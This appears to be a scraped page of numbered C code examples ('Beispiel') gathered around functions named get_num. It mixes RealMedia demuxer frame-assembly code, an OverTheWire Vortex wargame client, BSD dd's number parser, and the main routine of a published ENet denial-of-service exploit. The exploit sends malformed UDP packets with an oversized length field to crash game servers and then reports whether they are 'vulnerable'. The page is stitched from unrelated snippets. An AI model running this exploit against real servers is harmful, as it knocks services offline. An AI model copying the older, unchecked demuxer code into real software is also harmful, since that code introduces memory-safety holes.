				break;
			default:
				beep();
				break;
		}
		mvwaddstr(tt_win, 20, 12, "  ");
		clear_line(tt_win, 21, 0, FALSE);
		clear_line(tt_win, 22, 0, FALSE);
		wmove(tt_win, 20, 12);
		wrefresh(tt_win);
	}
	delwin(tt_win);
	return(ret_code);
}
Beispiel #25
0
static int rm_assemble_video_frame(ffmpeg_video* p,const packet* Packet)
{
    int32_t hdr, seq, pic_num, len2, pos;
    int32_t type;
	uint8_t* buf = (uint8_t*)Packet->Data[0];
	int32_t len = Packet->Length;
	int32_t used=0;
	RMVideo* rm = &p->rm;

    hdr = *buf++; len--;
    type = hdr >> 6;
    switch(type)
	{
    case 0: // slice
    case 2: // last slice
        seq = *buf++; len--;
		
        len2 = get_num(p,buf, &used);
		buf+=used;
		len-=used;

		used=0;
        pos = get_num(p,buf, &used);
		buf+=used;
		len-=used;

        pic_num = *buf++; len--;

        break;
    case 1: //whole frame
        {
			uint8_t addbuf[9]={0,1,1,1,1,0,0,0,0};
			seq = *buf++; len--;

			BufferWrite(&p->Buffer,addbuf,9,1);
			BufferWrite(&p->Buffer,buf,len,2048);
		}
        return ERR_NONE;
    case 3: //frame as a part of packet
		{
			uint8_t addbuf[9]={0,1,1,1,1,0,0,0,0};
			
			len2 = get_num(p,buf, &used);
			buf+=used;
			len-=used;

			used=0;
			pos = get_num(p,buf, &used);
			buf+=used;
			len-=used;

			pic_num = *buf++; len--;

			BufferWrite(&p->Buffer,addbuf,9,1);
			BufferWrite(&p->Buffer,buf,len2,2048);
		}
        return ERR_NONE;
    }
    //now we have to deal with single slice
	
    if((seq & 0x7F) == 1 || rm->curpic_num != pic_num)
	{
        rm->slices = ((hdr & 0x3F) << 1) + 1;
        rm->videobufsize = len2 + 8*rm->slices + 1;
        av_free(rm->videobuf);
        if(!(rm->videobuf = av_malloc(rm->videobufsize)))
            return ERR_OUT_OF_MEMORY;
        rm->videobufpos = 8*rm->slices + 1;
        rm->cur_slice = 0;
        rm->curpic_num = pic_num;
    }
    if(type == 2)
        len = FFMIN(len, pos);
	
    if(++rm->cur_slice > rm->slices)
        return ERR_OUT_OF_MEMORY;

    AV_WL32(rm->videobuf - 7 + 8*rm->cur_slice, 1);
    AV_WL32(rm->videobuf - 3 + 8*rm->cur_slice, rm->videobufpos - 8*rm->slices - 1);

    if(rm->videobufpos + len > rm->videobufsize)
        return ERR_OUT_OF_MEMORY;

	memcpy(rm->videobuf+rm->videobufpos,buf,len);

    rm->videobufpos += len;
    rm->remaining_len-= len;
	
    if(type == 2 || (rm->videobufpos) == rm->videobufsize)
	{
		rm->videobuf[0] = rm->cur_slice-1;

		BufferWrite(&p->Buffer,rm->videobuf,1 + 8*rm->cur_slice,1);
		BufferWrite(&p->Buffer,rm->videobuf + 1 + 8*rm->slices,rm->videobufpos - 1 - 8*rm->slices,2048);

		return ERR_NONE;
    }
	
    return ERR_NEED_MORE_DATA;
}
Beispiel #26
0
int main()
{
	// char c_arr[AMOUNT_NUM];
	// scanf("%x%x%x%x", c_arr, c_arr+1, c_arr+2, c_arr+3);
	// printf("%x\n", get_num(c_arr));

	struct addrinfo hints, *res;
	int sockfd, len_bytes, i, total_read_bytes = 0;
	char arr[SIZE_BUFFER];
	char* p_arr = arr;
	ui sum = 0;

	memset(arr, 0, SIZE_BUFFER);
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;

	getaddrinfo("vortex.labs.overthewire.org", "5842", &hints, &res);
	sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
	connect(sockfd, res->ai_addr, res->ai_addrlen);
	
	while (total_read_bytes < 16)
	{
		len_bytes = recv(sockfd, p_arr, SIZE_BUFFER, 0);
		p_arr += len_bytes;
		total_read_bytes += len_bytes;	
	}	

	printf("total bytes:%i\n", total_read_bytes);
	for(i = 0; i < total_read_bytes; i++)
	{
		printf("%hhx %s\n", arr[i], byte_to_binary(arr[i]));
	}

	ui arr_ui[AMOUNT_NUM];
	for (i = 0; i < AMOUNT_NUM; ++i)
	{
		arr_ui[i] = get_num(arr +  4 * i);	
		sum += arr_ui[i];
	}

	puts("\n\n");


	for (i = 0; i < AMOUNT_NUM; ++i) 
	{
		printf("%x %s %s %s %s\n", arr_ui[i], byte_to_binary(arr_ui[i] >> 24),
		byte_to_binary((arr_ui[i] & 0xff0000) >> 16),
		byte_to_binary((arr_ui[i] & 0xff00) >> 8),
		byte_to_binary(arr_ui[i] & 0xff));
	}

	//sum = ntohl(sum);
	send(sockfd, &sum, sizeof(ui), 0);
	memset(arr, 0, SIZE_BUFFER);
	puts("receiving answer...\n");
	recv(sockfd, arr, SIZE_BUFFER, 0);
	puts(arr);


	close(sockfd);
	return 0;
}
Beispiel #27
0
/*
 * Convert an expression of the following forms to a uintmax_t.
 * 	1) A positive decimal number.
 *	2) A positive decimal number followed by a 'b' or 'B' (mult by 512).
 *	3) A positive decimal number followed by a 'k' or 'K' (mult by 1 << 10).
 *	4) A positive decimal number followed by a 'm' or 'M' (mult by 1 << 20).
 *	5) A positive decimal number followed by a 'g' or 'G' (mult by 1 << 30).
 *	5) A positive decimal number followed by a 'w' or 'W' (mult by sizeof int).
 *	6) Two or more positive decimal numbers (with/without [BbKkMmGgWw])
 *	   separated by 'x' or 'X' (also '*' for backwards compatibility),
 *	   specifying the product of the indicated values.
 */
static uintmax_t
get_num(const char *val)
{
	uintmax_t num, mult, prevnum;
	char *expr;

	errno = 0;
	num = strtouq(val, &expr, 0);
	if (errno != 0)				/* Overflow or underflow. */
		err(1, "%s", oper);
	
	if (expr == val)			/* No valid digits. */
		errx(1, "%s: illegal numeric value", oper);

	mult = 0;
	switch (*expr) {
	case 'B':
	case 'b':
		mult = 512;
		break;
	case 'K':
	case 'k':
		mult = 1 << 10;
		break;
	case 'M':
	case 'm':
		mult = 1 << 20;
		break;
	case 'G':
	case 'g':
		mult = 1 << 30;
		break;
	case 'W':
	case 'w':
		mult = sizeof(int);
		break;
	default:
		;
	}

	if (mult != 0) {
		prevnum = num;
		num *= mult;
		/* Check for overflow. */
		if (num / mult != prevnum)
			goto erange;
		expr++;
	}

	switch (*expr) {
		case '\0':
			break;
		case '*':			/* Backward compatible. */
		case 'X':
		case 'x':
			mult = get_num(expr + 1);
			prevnum = num;
			num *= mult;
			if (num / mult == prevnum)
				break;
erange:
			errx(1, "%s: %s", oper, strerror(ERANGE));
		default:
			errx(1, "%s: illegal numeric value", oper);
	}
	return (num);
}
int main(int argc, char *argv[]) {
    ENetProtocolHeader  *header;
    ENetProtocol        *command;
    u_int   chall,
            stime;
    int     sd,
            len,
            attack;
    u_char  buff[8192];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "ENet library <= Jul 2005 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> <port> [commandLength(0x%08x)]\n"
            "\n"
            "Attack:\n"
            " 1 = invalid memory access\n"
            " 2 = allocation abort with fragment\n"
            "\n"
            "  Default port examples: Cube on 28765, Sauerbraten on 28785\n"
            "  commandLength is the big value to use for both the attacks, read my advisory\n"
            "\n", argv[0], commandLength);
        exit(1);
    }

    header  = (ENetProtocolHeader *)buff;
    command = (ENetProtocol *)(buff + sizeof(ENetProtocolHeader));

    attack = atoi(argv[1]);
    if(argc > 4) commandLength = get_num(argv[4]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(atoi(argv[3]));
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr),
        ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    stime = MYRAND;
    chall = ~stime;

    if(attack == 1) {
        printf("- send malformed packet\n");

        header->peerID                              = htons(0xffff);
        header->flags                               = 0;
        header->commandCount                        = 1 + (MYRAND % 255);       //  major than 1
        header->sentTime                            = stime;
        header->challenge                           = chall;
        command->header.command                     = ENET_PROTOCOL_COMMAND_CONNECT;
        command->header.channelID                   = 0xff;
        command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(commandLength);     // BOOM
        command->header.reliableSequenceNumber      = htonl(1);
        command->connect.outgoingPeerID             = htons(0);
        command->connect.mtu                        = htons(1400);
        command->connect.windowSize                 = htonl(32768);
        command->connect.channelCount               = htonl(ENET_PROTOCOL_MINIMUM_CHANNEL_COUNT);
        command->connect.incomingBandwidth          = htonl(0);
        command->connect.outgoingBandwidth          = htonl(0);
        command->connect.packetThrottleInterval     = htonl(5000);
        command->connect.packetThrottleAcceleration = htonl(2);
        command->connect.packetThrottleDeceleration = htonl(2);

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + sizeof(ENetProtocolConnect),
            buff, sizeof(buff), 0);
        if(len < 0) {
            printf("- no reply from the server, it should be already crashed\n");
        }

    } else if(attack == 2) {

        printf("- start connection to host\n");

        printf("  send connect\n");
        header->peerID                              = htons(0xffff);
        header->flags                               = 0;
        header->commandCount                        = 1;
        header->sentTime                            = stime;
        header->challenge                           = chall;
        command->header.command                     = ENET_PROTOCOL_COMMAND_CONNECT;
        command->header.channelID                   = 0xff;
        command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(sizeof(ENetProtocolConnect));
        command->header.reliableSequenceNumber      = htonl(1);
        command->connect.outgoingPeerID             = htons(0);
        command->connect.mtu                        = htons(1400);
        command->connect.windowSize                 = htonl(32768);
        command->connect.channelCount               = htonl(2);
        command->connect.incomingBandwidth          = htonl(0);
        command->connect.outgoingBandwidth          = htonl(0);
        command->connect.packetThrottleInterval     = htonl(5000);
        command->connect.packetThrottleAcceleration = htonl(2);
        command->connect.packetThrottleDeceleration = htonl(2);

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
            buff, sizeof(buff), 1);

        printf("  send ack\n");
/* SRV  header->peerID                              */
        header->flags                               = 0;
        header->commandCount                        = 1;
        stime = ntohl(header->sentTime);                                        // useless???
        header->sentTime                            = htonl(stime + 1);
/* SRV  header->challenge                           */
        command->header.command                     = ENET_PROTOCOL_COMMAND_ACKNOWLEDGE;
/* SRV  command->header.channelID                   */  
        command->header.flags                       = 0;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(sizeof(ENetProtocolAcknowledge));
        command->header.reliableSequenceNumber      = htonl(1);
/* SRV  command->acknowledge.receivedReliableSequenceNumber */
        command->acknowledge.receivedSentTime       = htonl(stime);

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
            buff, sizeof(buff), 1);

        printf("  send malformed fragment\n");
        len = 10 + (MYRAND % 1000);
/* SRV  header->peerID                              */
        header->flags                               = 0;
        header->commandCount                        = 1;
        header->sentTime                            = htonl(ntohl(header->sentTime) + 1);
/* SRV  header->challenge                           */
        command->header.command                     = ENET_PROTOCOL_COMMAND_SEND_FRAGMENT;
        command->header.channelID                   = 0;
        command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(sizeof(ENetProtocolSendFragment) + len);
        command->header.reliableSequenceNumber      = htonl(1);
        command->sendFragment.startSequenceNumber   = htonl(1);
        command->sendFragment.fragmentCount         = htonl(2 + (MYRAND % 2000));
        command->sendFragment.fragmentNumber        = htonl(0);
        command->sendFragment.totalLength           = htonl(commandLength);
        command->sendFragment.fragmentOffset        = htonl(0);
        memset(command + sizeof(ENetProtocolSendFragment), len, len);   // first len is for random

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
            buff, sizeof(buff), 0);
        if(len < 0) {
            printf("- no reply from the server, it should be already crashed\n");
        }
    }

    close(sd);

    printf("- check server:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    stime = MYRAND;
    chall = ~stime;

    header->peerID                              = htons(0xffff);
    header->flags                               = 0;
    header->commandCount                        = 1;
    header->sentTime                            = stime;
    header->challenge                           = chall;
    command->header.command                     = ENET_PROTOCOL_COMMAND_CONNECT;
    command->header.channelID                   = 0xff;
    command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
    command->header.reserved                    = 0;
    command->header.commandLength               = htonl(sizeof(ENetProtocolConnect));
    command->header.reliableSequenceNumber      = htonl(1);
    command->connect.outgoingPeerID             = htons(0);
    command->connect.mtu                        = htons(1400);
    command->connect.windowSize                 = htonl(32768);
    command->connect.channelCount               = htonl(ENET_PROTOCOL_MINIMUM_CHANNEL_COUNT);
    command->connect.incomingBandwidth          = htonl(0);
    command->connect.outgoingBandwidth          = htonl(0);
    command->connect.packetThrottleInterval     = htonl(5000);
    command->connect.packetThrottleAcceleration = htonl(2);
    command->connect.packetThrottleDeceleration = htonl(2);

    len = send_recv(sd,
        buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
        buff, sizeof(buff), 0);
    if(len < 0) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server does not seem vulnerable\n\n");
    }
    close(sd);  
    return(0);
}
Beispiel #29
0
static int rm_assemble_video_frame(AVFormatContext *s, AVIOContext *pb,
                                   RMDemuxContext *rm, RMStream *vst,
                                   AVPacket *pkt, int len, int *pseq,
                                   int64_t *timestamp)
{
    int hdr;
    int seq = 0, pic_num = 0, len2 = 0, pos = 0; //init to silcense compiler warning
    int type;
    int ret;

    hdr = avio_r8(pb); len--;
    type = hdr >> 6;

    if(type != 3){  // not frame as a part of packet
        seq = avio_r8(pb); len--;
    }
    if(type != 1){  // not whole frame
        len2 = get_num(pb, &len);
        pos  = get_num(pb, &len);
        pic_num = avio_r8(pb); len--;
    }
    if(len<0) {
        av_log(s, AV_LOG_ERROR, "Insufficient data\n");
        return -1;
    }
    rm->remaining_len = len;
    if(type&1){     // frame, not slice
        if(type == 3){  // frame as a part of packet
            len= len2;
            *timestamp = pos;
        }
        if(rm->remaining_len < len) {
            av_log(s, AV_LOG_ERROR, "Insufficient remaining len\n");
            return -1;
        }
        rm->remaining_len -= len;
        if(av_new_packet(pkt, len + 9) < 0)
            return AVERROR(EIO);
        pkt->data[0] = 0;
        AV_WL32(pkt->data + 1, 1);
        AV_WL32(pkt->data + 5, 0);
        if ((ret = avio_read(pb, pkt->data + 9, len)) != len) {
            av_free_packet(pkt);
            av_log(s, AV_LOG_ERROR, "Failed to read %d bytes\n", len);
            return ret < 0 ? ret : AVERROR(EIO);
        }
        return 0;
    }
    //now we have to deal with single slice

    *pseq = seq;
    if((seq & 0x7F) == 1 || vst->curpic_num != pic_num){
        if (len2 > ffio_limit(pb, len2)) {
            av_log(s, AV_LOG_ERROR, "Impossibly sized packet\n");
            return AVERROR_INVALIDDATA;
        }
        vst->slices = ((hdr & 0x3F) << 1) + 1;
        vst->videobufsize = len2 + 8*vst->slices + 1;
        av_free_packet(&vst->pkt); //FIXME this should be output.
        if(av_new_packet(&vst->pkt, vst->videobufsize) < 0)
            return AVERROR(ENOMEM);
        memset(vst->pkt.data, 0, vst->pkt.size);
        vst->videobufpos = 8*vst->slices + 1;
        vst->cur_slice = 0;
        vst->curpic_num = pic_num;
        vst->pktpos = avio_tell(pb);
    }
    if(type == 2)
        len = FFMIN(len, pos);

    if(++vst->cur_slice > vst->slices) {
        av_log(s, AV_LOG_ERROR, "cur slice %d, too large\n", vst->cur_slice);
        return 1;
    }
    if(!vst->pkt.data)
        return AVERROR(ENOMEM);
    AV_WL32(vst->pkt.data - 7 + 8*vst->cur_slice, 1);
    AV_WL32(vst->pkt.data - 3 + 8*vst->cur_slice, vst->videobufpos - 8*vst->slices - 1);
    if(vst->videobufpos + len > vst->videobufsize) {
        av_log(s, AV_LOG_ERROR, "outside videobufsize\n");
        return 1;
    }
    if (avio_read(pb, vst->pkt.data + vst->videobufpos, len) != len)
        return AVERROR(EIO);
    vst->videobufpos += len;
    rm->remaining_len-= len;

    if (type == 2 || vst->videobufpos == vst->videobufsize) {
        vst->pkt.data[0] = vst->cur_slice-1;
        *pkt= vst->pkt;
        vst->pkt.data= NULL;
        vst->pkt.size= 0;
        vst->pkt.buf = NULL;
#if FF_API_DESTRUCT_PACKET
FF_DISABLE_DEPRECATION_WARNINGS
        vst->pkt.destruct = NULL;
FF_ENABLE_DEPRECATION_WARNINGS
#endif
        if(vst->slices != vst->cur_slice) //FIXME find out how to set slices correct from the begin
            memmove(pkt->data + 1 + 8*vst->cur_slice, pkt->data + 1 + 8*vst->slices,
                vst->videobufpos - 1 - 8*vst->slices);
        pkt->size = vst->videobufpos + 8*(vst->cur_slice - vst->slices);
        pkt->pts = AV_NOPTS_VALUE;
        pkt->pos = vst->pktpos;
        vst->slices = 0;
        return 0;
    }
Beispiel #30
0
static int rm_assemble_video_frame(AVFormatContext *s, AVIOContext *pb,
                                   RMDemuxContext *rm, RMStream *vst,
                                   AVPacket *pkt, int len, int *pseq,
                                   int64_t *timestamp)
{
    int hdr, seq, pic_num, len2, pos;
    int type;

    hdr = avio_r8(pb); len--;
    type = hdr >> 6;

    if(type != 3){  // not frame as a part of packet
        seq = avio_r8(pb); len--;
    }
    if(type != 1){  // not whole frame
        len2 = get_num(pb, &len);
        pos  = get_num(pb, &len);
        pic_num = avio_r8(pb); len--;
    }
    if(len<0)
        return -1;
    rm->remaining_len = len;
    if(type&1){     // frame, not slice
        if(type == 3){  // frame as a part of packet
            len= len2;
            *timestamp = pos;
        }
        if(rm->remaining_len < len)
            return -1;
        rm->remaining_len -= len;
        if(av_new_packet(pkt, len + 9) < 0)
            return AVERROR(EIO);
        pkt->data[0] = 0;
        AV_WL32(pkt->data + 1, 1);
        AV_WL32(pkt->data + 5, 0);
        avio_read(pb, pkt->data + 9, len);
        return 0;
    }
    //now we have to deal with single slice

    *pseq = seq;
    if((seq & 0x7F) == 1 || vst->curpic_num != pic_num){
        vst->slices = ((hdr & 0x3F) << 1) + 1;
        vst->videobufsize = len2 + 8*vst->slices + 1;
        av_free_packet(&vst->pkt); //FIXME this should be output.
        if(av_new_packet(&vst->pkt, vst->videobufsize) < 0)
            return AVERROR(ENOMEM);
        vst->videobufpos = 8*vst->slices + 1;
        vst->cur_slice = 0;
        vst->curpic_num = pic_num;
        vst->pktpos = avio_tell(pb);
    }
    if(type == 2)
        len = FFMIN(len, pos);

    if(++vst->cur_slice > vst->slices)
        return 1;
    AV_WL32(vst->pkt.data - 7 + 8*vst->cur_slice, 1);
    AV_WL32(vst->pkt.data - 3 + 8*vst->cur_slice, vst->videobufpos - 8*vst->slices - 1);
    if(vst->videobufpos + len > vst->videobufsize)
        return 1;
    if (avio_read(pb, vst->pkt.data + vst->videobufpos, len) != len)
        return AVERROR(EIO);
    vst->videobufpos += len;
    rm->remaining_len-= len;

    if (type == 2 || vst->videobufpos == vst->videobufsize) {
        vst->pkt.data[0] = vst->cur_slice-1;
        *pkt= vst->pkt;
        vst->pkt.data= NULL;
        vst->pkt.size= 0;
        vst->pkt.buf = NULL;
#if FF_API_DESTRUCT_PACKET
        vst->pkt.destruct = NULL;
#endif
        if(vst->slices != vst->cur_slice) //FIXME find out how to set slices correct from the begin
            memmove(pkt->data + 1 + 8*vst->cur_slice, pkt->data + 1 + 8*vst->slices,
                vst->videobufpos - 1 - 8*vst->slices);
        pkt->size = vst->videobufpos + 8*(vst->cur_slice - vst->slices);
        pkt->pts = AV_NOPTS_VALUE;
        pkt->pos = vst->pktpos;
        vst->slices = 0;
        return 0;
    }

    return 1;
}